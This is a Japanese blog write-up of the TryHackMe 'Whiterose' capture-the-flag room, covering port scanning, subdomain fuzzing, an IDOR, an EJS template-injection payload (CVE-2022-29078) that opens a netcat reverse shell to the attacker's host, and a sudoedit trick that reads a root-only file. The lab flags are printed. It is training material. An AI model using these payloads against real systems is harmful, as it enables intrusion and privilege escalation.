1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【TryHackMe】Whiterose Writeup

Last updated at Posted at 2025-03-01

はじめに

今回はTryHackMeのwriteup兼備忘録になります。
今回は難易度がEasyである「Whiterose」というRoomを攻略しました。
※扱い次第では法に触れるため、悪用厳禁です。

環境

環境 IPアドレス
攻撃マシン 10.6.71.140
ターゲットマシン 10.10.60.127

Task 1 Welcome!

最初にポートスキャンを行います。
オプションは、応答の無いホストに対してもスキャンを行う「-Pn」、スキャンの高速化を行う「-T4」をつけてます。

└─$ nmap -Pn -T4 10.10.60.127
Starting Nmap 7.93 ( https://nmap.org ) at 2025-02-25 05:34 EST
Nmap scan report for 10.10.60.127
Host is up (0.24s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE    SERVICE
22/tcp   open     ssh
80/tcp   open     http
8383/tcp filtered m2mservices

Nmap done: 1 IP address (1 host up) scanned in 24.10 seconds

80ポートが開いている為ブラウザへのアクセスを試みたところ、「cyprusbank.thm/」にリダイレクトされる事を確認しました。

image.png

タイムアウトの表示がされたため、過去の対応をもとに「/etc/hosts」ファイルにIPアドレスとホスト名を追加してみます。

┌──(kali㉿kali)-[~]
└─$ sudo vim /etc/hosts

10.10.60.127    cyprusbank.thm  

タイムアウトは解消されましたが、メンテナンス画面が表示されました。
image.png

この場合にはfuzzを使用して、サブドメインを探すとのこと。
単語数1の結果がかなり出力されるため、fwオプションに1を指定して実行します。

└─$ ffuf -u http://cyprusbank.thm/ -w /usr/share/wordlists/amass/subdomains-top1mil-5000.txt -H "Host: FUZZ.cyprusbank.thm" -fw 1

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.5.0 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://cyprusbank.thm/
 :: Wordlist         : FUZZ: /usr/share/wordlists/amass/subdomains-top1mil-5000.txt
 :: Header           : Host: FUZZ.cyprusbank.thm
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response words: 1
________________________________________________

www                     [Status: 200, Size: 252, Words: 19, Lines: 9, Duration: 302ms]
admin                   [Status: 302, Size: 28, Words: 4, Lines: 1, Duration: 335ms]
WWW                     [Status: 200, Size: 252, Words: 19, Lines: 9, Duration: 240ms]
:: Progress: [5000/5000] :: Job [1/1] :: 167 req/sec :: Duration: [0:00:31] :: Errors: 0 ::

サブドメインが解析されたので、改めてドメイン名を「/etc/hosts」ファイルに追加します。

127.0.0.1       localhost
127.0.1.1       kali
::1             localhost ip6-localhost ip6-loopback
ff02::1         ip6-allnodes
ff02::2         ip6-allrouters
10.10.60.127    www.cyprusbank.thm  admin.cyprusbank.thm WWW.cyprusbank.thm

「admin.cyprusbank.thm/login」へアクセスしたところ、ログイン画面が表示されました。
問題文にある以下の情報はログイン時に使用するみたいです。

Olivia Cortez:olivi8

image.png

ログインしたところ、ユーザ情報が記載された画面へ遷移されることを確認しました。
image.png

What's Tyrell Wellick's phone number?

Tyrell Wellickの電話番号を探しますが、伏せ字で詳細が分からず。
image.png

続いてメッセージを確認したところ、URLにパラメータあることを確認。
IDORであれば、パラメータの値を変更して何か変化するかを確認。
image.png

「?/c=0」にしたら、管理者と思われるアカウント情報を確認しました。

image.png

そのアカウントでログインしたところ、伏せ字の電話番号が表示される事を確認しました。
image.png

よって、以下が回答になります。
image.png

What is the user.txt flag?

管理者アカウントのみアクセス可能な設定ページで新しいアカウントが作成可能なことを確認。
image.png

Burp Suiteを使用し、パスワードのパラメータを「passrowd」から「password1」に変更し、意図的にエラーを起こした所、「/home/web/app/views/settings.ejs」にエラーがあること確認。

image.png

このファイルで調査した所、ejsファイルに脆弱性(CVE-2022-29078)があるとのこと
https://github.com/Robthreefold/goof/issues/274

execSyncを使用することで任意のコマンドの実行が可能であるため、以下のコマンドを実行(事前に攻撃マシン内でnetcatを実行しておく)

settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('busybox nc 10.6.71.140 1337 -e /bin/bash');s
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.6.71.140] from (UNKNOWN) [10.10.60.127] 33492

image.png

以下を実行し、インタラクティブなbashを起動しておく。

python3 -c 'import pty; pty.spawn("/bin/bash")'

user.txtファイルを確認した為、中身を確認してフラグ獲得です。

web@cyprusbank:~$ cat user.txt
cat user.txt
THM{4lways_upd4te_uR_d3p3nd3nc!3s}
web@cyprusbank:~$ 

What is the root.txt flag?

現在のユーザーがsudoで実行できるコマンドを確認します。

web@cyprusbank:~$ sudo -l
sudo -l
Matching Defaults entries for web on cyprusbank:
    env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET", env_keep+="XAPPLRESDIR
    XFILESEARCHPATH XUSERFILESEARCHPATH",
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    mail_badpass

User web may run the following commands on cyprusbank:
    (root) NOPASSWD: sudoedit /etc/nginx/sites-available/admin.cyprusbank.thm

「sudoedit /etc/nginx/sites-available/admin.cyprusbank.thm」が実行可能であるとのこと。

web@cyprusbank:~/app$ cat /etc/nginx/sites-available/admin.cyprusbank.thm
cat /etc/nginx/sites-available/admin.cyprusbank.thm
server {
  listen 80;
    
  server_name admin.cyprusbank.thm;
    
  location / {
    proxy_pass http://localhost:8080;
    proxy_http_version 1.1;
    proxy_set_header Upgrade $http_upgrade;
    proxy_set_header Connection 'upgrade';
    proxy_set_header Host $host;
    proxy_cache_bypass $http_upgrade;
  }
}
web@cyprusbank:~/app$ 

調べてみたところ、以下の方法で現ユーザを昇格が可能であるが、シェルの仕様上うまく出来なかったため、少々手順を変更して実施。
https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/sudo/sudoedit-privilege-escalation/

今回は、root.txtファイルをエディターコマンド実行時、自動で開くようにしフラグ獲得を試みます。

web@cyprusbank:~/app$ export EDITOR='vi -- /root/root.txt'
export EDITOR='vi -- /root/root.txt'
web@cyprusbank:~/app$ sudo sudoedit /etc/nginx/sites-available/admin.cyprusbank.thm
THM{4nd_uR_p4ck4g3s}
~                                                                               
~                                                                               
~                                                                           
~                                                                               
"/var/tmp/root2xYHzfCD.txt" 1L, 21C                           1,1           All

無事フラグ獲得となります。

さいごに

久しぶりの投稿でした。
以上となります。

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?